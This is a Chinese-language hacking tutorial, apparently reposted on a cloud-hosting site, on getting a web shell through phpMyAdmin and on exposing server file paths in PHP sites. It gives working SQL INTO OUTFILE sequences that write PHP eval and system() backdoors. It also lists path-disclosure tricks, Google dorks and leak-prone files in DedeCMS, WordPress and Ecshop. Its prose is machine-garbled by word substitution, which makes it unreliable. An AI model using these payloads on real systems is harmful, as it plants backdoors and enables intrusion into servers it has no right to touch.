欢迎来到云服务器

网络技术

通过phpMyAdmin拿Shell的要领和PHP措施爆路径要领

[PhpMyAdmin靠山拿Shell]
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('');
select xiaoma1 from xiaoma INTO OUTFILE 'E:/wamp/www/7.php';
以上同时执行,,在数据库: mysql 下建设一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php 一句话毗连暗码:xiaoma

Create TABLE xiaoma (xiaoma1 text NOT NULL);
Insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma])?>');
select xiaoma1 from xiaoma into outfile 'E:/wamp/www/7.php';
Drop TABLE IF EXISTS xiaoma;

create database wutongyu(这个为数据库名称).
use wutongyu (毗连数据库)
create table shell(code text) (成立表shell,字段code为文本型数据)
insert into shell(code) values ('<?php @eval($_POST['c']);?>'); (插入一句话,暗码为C)
select * from shell into outfile "D:detaiAppServwwwphpMyAdmin2shell.php" (导出shell到绝对路径)

PhpMyAdmin导出WebShell至中文路径
set character_set_client='gbk';
set character_set_connection='gbk';
set character_set_database='gbk';
set character_set_results='gbk';
set character_set_server='gbk';
select '<?php eval($_POST[cmd]);?>' into outfile 'd:www网站mm.php';

读取文件内容:select load_file('E:/xamp/www/s.php');
写一句话:    select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/xiaoma.php'
cmd执行权限: select '<?php echo '<pre>';system($_GET['cmd']); echo '</pre>'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'

select load_file('E:/xamp/www/xiaoma.php');
select '<?php echo '<pre>';system($_GET['cmd']); echo '</pre>'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php'
然后会见网站目次:http://www.xxxx.com/xiaoma.php?cmd=dir
 
[PHP爆路径要领]
1、单引号爆路径
说明:直接在URL后头加单引号,要求单引号没有被过滤(gpc=off)且处事器默认返回错误信息。
www.xxx.com/news.php?id=149′
2、错误参数值爆路径
说明:将要提交的参数值改成错误值,好比-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
3、Google爆路径
说明:团结要害字和site语法搜索堕落页面的网页快照,常见要害字有warning和fatal error。留意,假如方针站点是二级域名,site接的是其对应的顶级域名,这样获得的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
4、测试文件爆路径
说明:许多网站的根目次下都存在测试文件,剧本代码凡是都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
5、PhpMyAdmin爆路径
说明:一旦找到phpmyadmin的打点页面,再会见该目次下的某些特定文件,就很有大概爆出物理路径。至于phpmyadmin的地点可以用wwwscan这类的东西去扫,也可以选择google。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php
6、设置文件找路径
说明:假如注入点有文件读取权限,就可以手工load_file或东西读取设置文件,再从中寻找路径信息(一般在文件末端)。各平台下Web处事器和PHP的设置文件默认路径可以上网查,这里罗列常见的几个。
Windows:
c:windowsphp.ini                                    php设置文件
c:windowssystem32inetsrvMetaBase.xml  IIS虚拟主机设置文件
Linux:
/etc/php.ini                                     php设置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf              Apache设置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目次设置文件
7、nginx文件范例错误理会爆路径
说明:这是昨天无意中发明的要领,虽然要求Web处事器是nginx,且存在文件范例理会裂痕。有时在图片地点后加/x.php,该图片不单会被看成php文件执行,尚有大概爆出物理路径。
www.xxx.com/top.jpg/x.php
8、Other PHP
DeDeCms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php
WordPress
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php
Ecshop商城系统暴路径裂痕文件
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php

腾讯云代理

Copyright © 2003-2021 MFISP.COM. 国外vps服务器租用 梦飞云服务器租用 版权所有 粤ICP备11019662号